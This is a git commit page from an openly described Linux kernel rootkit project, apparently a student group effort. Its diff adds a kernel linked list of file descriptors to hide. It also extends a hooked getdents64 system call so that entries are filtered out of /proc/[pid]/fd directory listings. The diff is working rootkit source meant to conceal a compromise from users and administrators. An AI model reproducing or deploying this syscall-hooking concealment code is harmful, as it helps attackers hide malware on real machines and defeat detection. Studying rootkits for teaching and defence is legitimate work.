linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 01d4d42c2c02fb10a673332190cace9c36d9acd3
parent 2e966a605bfd6a0a127c05ebc568652be10c8a34
Author: Tizian Leonhardt <tizianleonhardt@web.de>
Date:   Sat,  5 Dec 2020 19:07:25 +0100

Add initial path tokenization

Diffstat:
Asrc/hideopen.c | 79+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/hideopen.h | 21+++++++++++++++++++++
Msrc/hook.c | 52++++++++++++++++++++++++++++++++++++++++++++++++++++
3 files changed, 152 insertions(+), 0 deletions(-)

diff --git a/src/hideopen.c b/src/hideopen.c @@ -0,0 +1,78 @@ +#include <linux/slab.h> +#include <linux/fd.h> + +#include "hook.h" +#include "hideopen.h" + +fd_list_t hidden_fds = { + .fd = -1, + .prev = NULL, + .next = NULL, +}; + +fd_list_t_ptr hidden_fds_tail = &hidden_fds; + +void +clear_hidden_fds(void) +{ + fd_list_t_ptr i = hidden_fds_tail; + while ((i = remove_fd_from_list(i, i->fd))); +} + +bool +list_contains_fd(fd_list_t_ptr list, int fd) +{ + return !!find_fd_in_list(list, fd); +} + +fd_list_t_ptr +find_fd_in_list(fd_list_t_ptr head, int fd) +{ + fd_list_t_ptr i; + for (i = head; i; i = i->next) + if (i->fd == fd) + return i; + + return NULL; +} + +fd_list_t_ptr +add_fd_to_list(fd_list_t_ptr tail, int fd) +{ + fd_list_t_ptr node; + node = (fd_list_t_ptr)kmalloc(sizeof(fd_list_t), GFP_KERNEL); + + if (node) { + node->fd = fd; + node->next = NULL; + node->prev = tail; + tail->next = node; + hidden_fds_tail = node; + return node; + } + + return NULL; +} + + +fd_list_t_ptr +remove_fd_from_list(fd_list_t_ptr list, int fd) +{ + fd_list_t_ptr i = find_fd_in_list(list, fd), ret = NULL; + + if (i && (i->fd != -1)) { + if (i->next) + i->next->prev = i->prev; + else + hidden_fds_tail = i->prev ? i->prev : &hidden_fds; + + if (i->prev) { + i->prev->next = i->next; + ret = i->prev; + } + + kfree(i); + } + + return ret; +} +\ No newline at end of file diff --git a/src/hideopen.h b/src/hideopen.h @@ -0,0 +1,21 @@ +#ifndef _GROUP7_HIDEOPEN_H +#define _GROUP7_HIDEOPEN_H + +#include <linux/types.h> + +typedef struct fd_list *fd_list_t_ptr; +typedef struct fd_list { + int fd; + fd_list_t_ptr prev; + fd_list_t_ptr next; +} fd_list_t; + +extern fd_list_t hidden_fds; + +void clear_hidden_fds(void); +bool list_contains_fd(fd_list_t_ptr, int); +fd_list_t_ptr find_fd_in_list(fd_list_t_ptr, int); +fd_list_t_ptr add_fd_to_list(fd_list_t_ptr, int); +fd_list_t_ptr remove_fd_from_list(fd_list_t_ptr list, int fd); + +#endif//_GROUP7_HIDEOPEN_H diff --git a/src/hook.c b/src/hook.c @@ -5,6 +5,11 @@ #include <linux/fdtable.h> #include <linux/list.h> #include <linux/proc_ns.h> +#include <linux/namei.h> +#include <linux/file.h> +#include <linux/sched.h> +#include <linux/fs_struct.h> +#include <linux/dcache.h> #include "common.h" #include "hook.h" @@ -16,6 +21,8 @@ extern rootkit_t rootkit; +const char *dir_sep = "/"; + void **sys_calls; atomic_t read_install_count; @@ -187,6 +194,7 @@ g7_getdents64(const struct pt_regs *pt_regs) typedef struct linux_dirent64 *dirent64_t_ptr; bool may_proc; + unsigned long offset; dirent64_t_ptr kdirent, cur_kdirent, prev_kdirent; struct dentry *kdirent_dentry; @@ -196,12 +204,56 @@ g7_getdents64(const struct pt_regs *pt_regs) dirent64_t_ptr dirent = (dirent64_t_ptr)pt_regs->si; long ret = sys_getdents64(pt_regs); + bool may_fd = 0; //We only need /proc/[pid]/fd dirs + struct file *dirfile = fget(fd); + pid_t fd_pid; + if (ret <= 0 || !(kdirent = (dirent64_t_ptr)kzalloc(ret, GFP_KERNEL))) return ret; if (copy_from_user(kdirent, dirent, ret)) goto yield; + if(dirfile && !strcmp(dirfile->f_path.dentry->d_name.name, "fd")) { + char *buf = kzalloc(512, GFP_KERNEL); + char *path = d_path(&dirfile->f_path, buf, 512); + + if(!IS_ERR(path)) { + char *sub; + char *cur = path; + + /** + * In the correct directory, the tokens are as follows: + * {NULL, proc, [PID], fd} + * We also don't want the task directory, so the third + * token should be fd, not task + **/ + int i = 0; + + while((sub = strsep(&cur, dir_sep))) { + switch(i++) { + case 1: + if(strcmp(sub, "proc")) + goto leave; + break; + case 2: + fd_pid = PID_FROM_NAME(sub); + break; + case 3: + if(!strcmp(sub, "fd")) + may_fd = 1; + else + goto leave; + default: + break; + } + } + + leave: + kfree(buf); + } + } + atomic_inc(&getdents64_count); kdirent_dentry = current->files->fdt->fd[fd]->f_path.dentry;